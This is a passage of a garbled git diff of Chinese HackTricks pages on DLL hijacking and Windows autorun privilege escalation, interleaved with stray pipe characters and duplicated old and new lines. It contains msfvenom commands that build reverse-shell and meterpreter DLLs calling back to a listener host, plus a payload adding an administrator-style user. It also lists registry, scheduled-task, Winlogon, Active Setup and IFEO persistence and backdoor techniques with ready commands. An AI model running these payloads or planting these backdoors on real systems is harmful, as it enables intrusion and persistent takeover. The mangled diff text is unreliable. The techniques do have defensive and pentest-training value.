使用工具\*\*\*\* [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) \*\*\*\* 或 \*\*\*\* [**Spartacus**](https://github.com/Accenture/Spartacus) \*\*\*\*，你实际上可以**指定一个可执行文件并选择你想要代理的库**，并**生成一个代理dll**，或者**指定Dll**并**生成一个代理dll**。
|
||||
|
||||
### **Meterpreter**
|
||||
|
||||
**获取反向shell（x64）：**
|
||||
**获取反向shell (x64)：**
|
||||
```bash
|
||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**获取一个meterpreter（x86）：**
|
||||
**获取 meterpreter (x86)：**
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**创建一个用户（x86 我没有看到 x64 版本）：**
|
||||
**创建用户（x86 我没有看到 x64 版本）：**
|
||||
```
|
||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||
```
|
||||
### 你自己的
|
||||
|
||||
请注意，在多种情况下，你编译的 Dll 必须**导出多个函数**，这些函数将由受害进程加载，如果这些函数不存在，**二进制文件将无法加载**它们，从而导致**攻击失败**。
|
||||
请注意，在多数情况下，你编译的Dll必须**导出多个函数**，这些函数将被受害进程加载，如果这些函数不存在，**二进制文件将无法加载**它们，**漏洞利用将失败**。
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
|
|
@ -227,9 +229,9 @@ break;
|
|||
return TRUE;
|
||||
}
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘！**（需要流利的波兰语书写和口语能力）。
|
||||
如果您对**黑客职业**感兴趣，并且想要黑进那些不可黑的系统 - **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
@ -237,10 +239,10 @@ return TRUE;
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？想要在HackTricks中**宣传你的公司**吗？或者你想要**获取最新版本的PEASS或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 您在**网络安全公司**工作吗？您想在**HackTricks**中看到您的**公司广告**吗？或者您想要获得**PEASS最新版本**或**以PDF格式下载HackTricks**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
|
||||
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,33 +1,33 @@
|
|||
# 使用Autoruns进行权限提升
|
||||
# 使用 Autoruns 的权限提升
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 你在**网络安全公司**工作吗？你想在**HackTricks**中看到你的**公司广告**吗？或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注我。**
|
||||
* **通过提交 PR 到** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的系统 - **我们正在招聘！**（需要流利的波兰语书写和口语能力）。
|
||||
如果你对**黑客职业**感兴趣，并且想要黑入不可黑的系统 - **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## WMIC
|
||||
|
||||
**Wmic**可以用来在**启动时**运行程序。使用以下命令查看在启动时运行的二进制文件：
|
||||
**Wmic** 可以用来在**启动时**运行程序。使用以下命令查看哪些二进制文件被安排在启动时运行：
|
||||
```bash
|
||||
wmic startup get caption,command 2>nul & ^
|
||||
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
|
||||
```
|
||||
## 定时任务
|
||||
## 计划任务
|
||||
|
||||
**任务**可以按照**特定频率**进行调度运行。使用以下命令查看已安排运行的二进制文件：
|
||||
**任务**可以设置为**一定频率**运行。查看哪些二进制文件被安排运行，请使用：
|
||||
```bash
|
||||
schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab"
|
||||
schtasks /query /fo LIST 2>nul | findstr TaskName
|
||||
|
|
@ -40,7 +40,7 @@ schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgro
|
|||
```
|
||||
## 文件夹
|
||||
|
||||
所有位于**启动文件夹中的二进制文件将在启动时执行**。常见的启动文件夹如下所示，但启动文件夹在注册表中指定。[阅读此处了解具体位置。](privilege-escalation-with-autorun-binaries.md#startup-path)
|
||||
所有位于**启动文件夹中的二进制文件将在启动时执行**。常见的启动文件夹如下所列，但启动文件夹的位置在注册表中指明。[阅读此内容以了解位置。](privilege-escalation-with-autorun-binaries.md#startup-path)
|
||||
```bash
|
||||
dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul
|
||||
dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul
|
||||
|
|
@ -52,7 +52,7 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
|
|||
## 注册表
|
||||
|
||||
{% hint style="info" %}
|
||||
注意：**Wow6432Node** 注册表项表示您正在运行的是 64 位 Windows 版本。操作系统使用此键为在 64 位 Windows 版本上运行的 32 位应用程序显示 HKEY\_LOCAL\_MACHINE\SOFTWARE 的单独视图。
|
||||
注意：**Wow6432Node** 注册表项表明你正在运行一个 64 位的 Windows 版本。操作系统使用这个键为在 64 位 Windows 版本上运行的 32 位应用程序显示 HKEY_LOCAL_MACHINE\SOFTWARE 的独立视图。
|
||||
{% endhint %}
|
||||
|
||||
### 运行
|
||||
|
|
@ -66,14 +66,14 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
|
|||
* `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
|
||||
* `HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`
|
||||
* `HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run`
|
||||
* `HKCU\Software\Wow6432Npde\Microsoft\Windows\CurrentVersion\RunOnce`
|
||||
* `HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce`
|
||||
* `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run`
|
||||
* `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce`
|
||||
* `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx`
|
||||
* `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunOnce`
|
||||
* `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunOnceEx`
|
||||
|
||||
Run 和 RunOnce 注册表键会导致程序在每次用户登录时运行。键的数据值是一条不超过 260 个字符的命令行。
|
||||
Run 和 RunOnce 注册表键会导致程序在每次用户登录时运行。键的数据值是不超过 260 个字符的命令行。
|
||||
|
||||
**服务运行**（可以控制启动时服务的自动启动）：
|
||||
**服务运行**（可以控制服务在启动时的自动启动）：
|
||||
|
||||
* `HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
|
||||
* `HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
|
||||
|
|
@ -89,14 +89,14 @@ Run 和 RunOnce 注册表键会导致程序在每次用户登录时运行。键
|
|||
* `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx`
|
||||
* `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx`
|
||||
|
||||
在 Windows Vista 和更新版本中，默认不会创建此项。注册表运行键条目可以直接引用程序，也可以将其列为依赖项。例如，可以使用 RunOnceEx 的 "Depend" 键在登录时加载 DLL：`reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"`
|
||||
在 Windows Vista 及更新版本上默认不会创建。注册表运行键条目可以直接引用程序或将它们列为依赖项。例如，可以使用 RunOnceEx 的 "Depend" 键在登录时加载 DLL：`reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"`
|
||||
|
||||
{% hint style="info" %}
|
||||
**漏洞利用 1**：如果您可以在 **HKLM** 中的任何提及的注册表中写入内容，则可以在其他用户登录时提升权限。
|
||||
**利用 1**：如果你可以在 **HKLM** 中提到的任何注册表内写入，当不同用户登录时你可以提升权限。
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
**漏洞利用 2**：如果您可以覆盖任何在 **HKLM** 中指定的二进制文件，则可以在其他用户登录时修改该二进制文件并提升权限。
|
||||
**利用 2**：如果你可以覆盖在 **HKLM** 内任何注册表中指示的任何二进制文件，当不同用户登录时你可以修改该二进制文件并植入后门来提升权限。
|
||||
{% endhint %}
|
||||
```bash
|
||||
#CMD
|
||||
|
|
@ -160,10 +160,10 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\Ru
|
|||
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
|
||||
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`
|
||||
|
||||
任何创建到启动子键指向的位置的快捷方式都会在登录/重启时启动服务。启动位置在本地计算机和当前用户中都有指定。
|
||||
任何创建到由子键 Startup 指向的位置的快捷方式将在登录/重启时启动服务。启动位置在本地机器和当前用户下都有指定。
|
||||
|
||||
{% hint style="info" %}
|
||||
如果你可以覆盖**HKLM**下的任何\[User] Shell Folder，你就可以将其指向一个由你控制的文件夹，并放置一个后门，这样每当用户登录系统时，特权就会被提升并执行后门。
|
||||
如果你能覆盖 **HKLM** 下的任何 \[User] Shell Folder，你将能够将其指向一个由你控制的文件夹，并放置一个后门，每当用户登录系统时都会执行，从而提升权限。
|
||||
{% endhint %}
|
||||
```bash
|
||||
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
|
||||
|
|
@ -176,12 +176,12 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion
|
|||
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders' -Name "Common Startup"
|
||||
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' -Name "Common Startup"
|
||||
```
|
||||
### Winlogon键
|
||||
### Winlogon 密钥
|
||||
|
||||
`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`
|
||||
|
||||
通常，**Userinit**键指向userinit.exe，但如果该键被更改，那么该exe也将由Winlogon启动。\
|
||||
**Shell**键应该指向explorer.exe。
|
||||
通常，**Userinit** 键指向 userinit.exe，但如果这个键可以被更改，那么该 exe 也将由 Winlogon 启动。\
|
||||
**Shell** 键应该指向 explorer.exe。
|
||||
```bash
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit"
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell"
|
||||
|
|
@ -189,7 +189,7 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVers
|
|||
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell"
|
||||
```
|
||||
{% hint style="info" %}
|
||||
如果您可以覆盖注册表值或二进制文件，您将能够提升权限。
|
||||
如果您能够覆盖注册表值或二进制文件，您将能够提升权限。
|
||||
{% endhint %}
|
||||
|
||||
### 策略设置
|
||||
|
|
@ -208,27 +208,27 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion
|
|||
|
||||
路径：**`HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot`**
|
||||
|
||||
在注册表键`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot`下，有一个名为**AlternateShell**的值，默认设置为`cmd.exe`（命令提示符）。当您在启动过程中按下F8并选择“带命令提示符的安全模式”时，系统将使用此替代shell。\
|
||||
但是，您可以创建一个启动选项，这样您就不必按F8，然后选择“带命令提示符的安全模式”。
|
||||
在注册表键 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot` 下有一个值 **AlternateShell**，默认设置为 `cmd.exe`（命令提示符）。当你在启动时按 F8 并选择“带命令提示符的安全模式”时，系统会使用这个备用 shell。\
|
||||
然而，你可以创建一个启动选项，这样就不必按 F8，然后选择“带命令提示符的安全模式”。
|
||||
|
||||
1. 编辑boot.ini（c:\boot.ini）文件的属性，使文件变为非只读、非系统和非隐藏（attrib c:\boot.ini -r -s -h）。
|
||||
2. 打开boot.ini。
|
||||
1. 编辑 boot.ini（c:\boot.ini）文件属性，使文件非只读、非系统、非隐藏（attrib c:\boot.ini -r -s -h）。
|
||||
2. 打开 boot.ini。
|
||||
3. 添加类似以下的行：`multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)`
|
||||
4. 保存文件。
|
||||
5. 重新应用正确的权限（attrib c:\boot.ini +r +s +h）。
|
||||
|
||||
来自[这里](https://www.itprotoday.com/cloud-computing/how-can-i-add-boot-option-starts-alternate-shell)的信息。
|
||||
信息来自[这里](https://www.itprotoday.com/cloud-computing/how-can-i-add-boot-option-starts-alternate-shell)。
|
||||
|
||||
{% hint style="info" %}
|
||||
**Exploit 1：**如果您可以修改此注册表键，您可以将您的后门指向它。
|
||||
**利用 1：**如果你可以修改这个注册表键，你可以指向你的后门
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
**Exploit 2（PATH写权限）：**如果您对系统**PATH**中_C:\Windows\system32_之前的任何文件夹具有写权限（或者如果您可以更改它），您可以创建一个cmd.exe文件，如果有人在安全模式下启动机器，您的后门将被执行。
|
||||
**利用 2（PATH 写权限）：**如果你对系统 **PATH** 中任何文件夹有写权限，在 _C:\Windows\system32_ 之前（或者如果你可以改变它），你可以创建一个 cmd.exe 文件，如果有人启动机器进入安全模式，你的后门将被执行。
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
**Exploit 3（PATH写权限和boot.ini写权限）：**如果您可以写入boot.ini，您可以自动启动下一次重启时的安全模式。
|
||||
**利用 3（PATH 写权限和 boot.ini 写权限）：**如果你可以写 boot.ini，你可以自动化下一次重启的安全模式启动。
|
||||
{% endhint %}
|
||||
```bash
|
||||
reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /v AlternateShell
|
||||
|
|
@ -241,19 +241,19 @@ Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Co
|
|||
* `HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components`
|
||||
* `HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components`
|
||||
|
||||
Active Setup在桌面出现之前运行。由Active Setup启动的命令是同步运行的，它们在执行时会阻塞登录。Active Setup在评估任何Run或RunOnce注册表项之前执行。
|
||||
Active Setup 在桌面出现之前运行。由 Active Setup 启动的命令同步执行，执行时会阻塞登录。Active Setup 在任何 Run 或 RunOnce 注册表条目被评估之前执行。
|
||||
|
||||
在这些键中，您将找到更多的键，每个键都包含一些有趣的键值。最有趣的是：
|
||||
在这些键中，你会找到更多的键，每个键都会包含一些有趣的键值对。最有趣的是：
|
||||
|
||||
* **IsInstalled:**
|
||||
* 0：组件的命令将不会运行。
|
||||
* 1：组件的命令将每个用户运行一次。这是默认值（如果IsInstalled值不存在）。
|
||||
* 0：组件的命令不会运行。
|
||||
* 1：组件的命令将为每个用户运行一次。这是默认设置（如果 IsInstalled 值不存在）。
|
||||
* **StubPath**
|
||||
* 格式：任何有效的命令行，例如“notepad”
|
||||
* 如果Active Setup确定需要在登录期间运行此组件，则执行此命令。
|
||||
* 格式：任何有效的命令行，例如 “notepad”
|
||||
* 如果 Active Setup 确定在登录期间需要运行此组件，这是将被执行的命令。
|
||||
|
||||
{% hint style="info" %}
|
||||
如果您可以在具有 _**IsInstalled == "1"**_ 和 **StubPath** 键的任何键上进行写入/覆盖，您可以将其指向一个后门并提升权限。此外，如果您可以覆盖任何 **StubPath** 键指向的任何 **二进制文件**，您也可以提升权限。
|
||||
如果你能够写入/覆盖任何 _**IsInstalled == "1"**_ 的键的 **StubPath** 键，你可以将其指向一个后门并提升权限。同样，如果你能够覆盖任何 **StubPath** 键指向的任何 **二进制文件**，你也能够提升权限。
|
||||
{% endhint %}
|
||||
```bash
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
|
||||
|
|
@ -261,26 +261,24 @@ reg query "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v Stub
|
|||
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath
|
||||
reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath
|
||||
```
|
||||
### 浏览器辅助对象
|
||||
### 浏览器助手对象
|
||||
|
||||
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`
|
||||
* `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`
|
||||
|
||||
**浏览器辅助对象**（**BHO**）是一个设计为微软的Internet Explorer网络浏览器提供附加功能的DLL模块插件。这些模块会在每个新的Internet Explorer实例和每个新的Windows Explorer实例中执行。然而，可以通过将键**NoExplorer**设置为1来防止每个实例中执行BHO。
|
||||
**浏览器助手对象**（**BHO**）是为微软的Internet Explorer网络浏览器设计的DLL模块插件，用以提供额外功能。这些模块会在每个新的Internet Explorer实例和每个新的Windows Explorer实例中执行。然而，通过将键**NoExplorer**设置为1，可以防止BHO在每个Explorer实例中执行。
|
||||
|
||||
截至Windows 10，BHO仍然在Internet Explorer 11中得到支持，但在默认的网络浏览器Microsoft Edge中不支持BHO。
|
||||
截至Windows 10，BHO仍然得到支持，通过Internet Explorer 11，而在默认网络浏览器Microsoft Edge中不支持BHO。
|
||||
```bash
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
|
||||
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
|
||||
```
|
||||
请注意，注册表中将包含每个dll的1个新注册表，并由**CLSID**表示。您可以在`HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}`中找到CLSID信息。
|
||||
|
||||
### Internet Explorer扩展
|
||||
### Internet Explorer 扩展
|
||||
|
||||
* `HKLM\Software\Microsoft\Internet Explorer\Extensions`
|
||||
* `HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions`
|
||||
|
||||
请注意，注册表中将包含每个dll的1个新注册表，并由**CLSID**表示。您可以在`HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}`中找到CLSID信息。
|
||||
请注意，注册表将为每个 dll 包含 1 个新注册表项，并且将由 **CLSID** 表示。您可以在 `HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}` 中找到 CLSID 信息
|
||||
|
||||
### 字体驱动程序
|
||||
|
||||
|
|
@ -303,45 +301,29 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Classes\htmlfile\shell\open\comm
|
|||
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command' -Name ""
|
||||
```
|
||||
### 图像文件执行选项
|
||||
|
||||
The Image File Execution Options (IFEO) is a Windows feature that allows developers to debug and monitor applications. However, it can also be abused by attackers to escalate privileges on a local system.
|
||||
|
||||
图像文件执行选项（IFEO）是Windows的一个功能，允许开发人员调试和监视应用程序。然而，攻击者也可以滥用它来提升本地系统的权限。
|
||||
|
||||
When a program is launched, the operating system checks if there are any IFEO entries for that program in the Windows Registry. If an IFEO entry exists, the specified debugger is launched instead of the original program. This can be used to execute arbitrary code with elevated privileges.
|
||||
|
||||
当一个程序被启动时，操作系统会检查Windows注册表中是否存在该程序的任何IFEO条目。如果存在IFEO条目，则会启动指定的调试器而不是原始程序。这可以用来以提升的权限执行任意代码。
|
||||
|
||||
To escalate privileges using IFEO, an attacker can create a new IFEO entry for a system utility or a trusted application that runs with higher privileges. When the utility or application is launched, the attacker's malicious code will be executed instead, allowing them to gain elevated privileges.
|
||||
|
||||
要利用IFEO提升权限，攻击者可以为系统实用程序或以较高权限运行的受信任应用程序创建一个新的IFEO条目。当实用程序或应用程序被启动时，攻击者的恶意代码将被执行，使其能够获得提升的权限。
|
||||
|
||||
To prevent privilege escalation through IFEO, it is recommended to regularly monitor the Windows Registry for any suspicious IFEO entries. Additionally, restricting access to the Windows Registry and implementing strong security measures can help mitigate the risk of IFEO abuse.
|
||||
|
||||
为了防止通过IFEO进行权限提升，建议定期监视Windows注册表以查找任何可疑的IFEO条目。此外，限制对Windows注册表的访问并实施强大的安全措施可以帮助减轻IFEO滥用的风险。
|
||||
```
|
||||
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
|
||||
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options
|
||||
```
|
||||
## SysInternals
|
||||
|
||||
请注意，您可以找到自动运行的所有站点已经被**winpeas.exe**搜索过了。但是，为了获得更全面的自动执行文件列表，您可以使用[systinternals的autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns)：
|
||||
请注意，所有可以找到自启动项的地方**已经被**[**winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe)**搜索过了**。然而，为了获取**更全面的自动执行文件列表**，你可以使用来自systinternals的[autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns)：
|
||||
```
|
||||
autorunsc.exe -m -nobanner -a * -ct /accepteula
|
||||
```
|
||||
## 更多
|
||||
|
||||
在[https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)中查找更多类似注册表的Autoruns。
|
||||
在 [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2) 查找更多像注册表这样的自启动项。
|
||||
|
||||
## 参考资料
|
||||
|
||||
* [https://resources.infosecinstitute.com/common-malware-persistence-mechanisms/#gref](https://resources.infosecinstitute.com/common-malware-persistence-mechanisms/#gref)
|
||||
* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
|
||||
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
|
||||
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果您对**黑客职业**感兴趣并想要攻击不可攻破的目标 - **我们正在招聘！**（需要流利的波兰语书面和口语能力）。
|
||||
